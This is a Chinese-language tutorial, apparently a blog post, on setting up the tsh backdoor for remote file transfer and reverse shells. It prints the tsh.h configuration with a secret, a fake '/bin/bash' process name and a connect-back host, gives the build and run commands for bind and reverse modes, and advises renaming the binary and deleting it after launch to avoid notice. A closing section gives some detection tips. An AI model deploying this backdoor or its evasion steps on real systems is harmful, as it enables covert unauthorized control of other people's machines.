介绍

下载地址:https://github.com/orangetw/tsh

功能:

通信加密

支持上传、下载、直接反弹shell

tsh.h文件,用来配置生成的tsh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifndef _TSH_H
#define _TSH_H

char *secret = "rc9c0r0e72t5ag0pl79a75c54r1d"; //加密密码

#define SERVER_PORT 8888 //SERVER端口
#define FAKE_PROC_NAME "/bin/bash" //进程名

#define CONNECT_BACK_HOST "10.0.0.8" //反连ip
#define CONNECT_BACK_DELAY 60 //反连周期

#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

编译tsh

1
2
3
4
#可选平台
#linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

make linux

正向

编译tshd时下面两行必须注释

1
2
//#define CONNECT_BACK_HOST  "10.0.0.8"                     //反连ip
//#define CONNECT_BACK_DELAY 60 //反连周期

被控端

1
./tshd

netstat 这边没什么异样

image-20210203190049116

lsof 可以看到执行的进程是 tshd

image-20210203190204830

所以运行时可以改个诱惑性的名字,运行完之后可以直接删除文件。不影响后面的使用,除非进程被清理掉或者系统关机。

看看ps -ef

image-20210203190533288

攻击者

1
./tsh 被控端ip

反向

不需要注释,直接编译。

被控端

1
./tshd

netstat 也没有什么异样

看看ps -ef

image-20210203191412371

运行完之后也是可以直接删除文件。

攻击者

1
./tsh cb

总结

  1. 默认配置的tsh有两个特点,一是进程名为/bin/bash,用ps -ef看其实挺突兀的,很容易辨别。二是父进程pid是1。
  2. 还有一个识别的技巧就是用netstat, ps -ef, lsof 几个工具都试试结果对比一下,排除出来的概率还是比较大的。所以做攻击也是需要去思考。
  3. 为了通信过程的安全,作者建议 secret 最好多于12位,只要 secret 一致,tshtshd 就可以通信。也就是说,secret 太弱,可以爆破出来(但不知道好不好实现,看看tshd有没有特别的指纹)

评论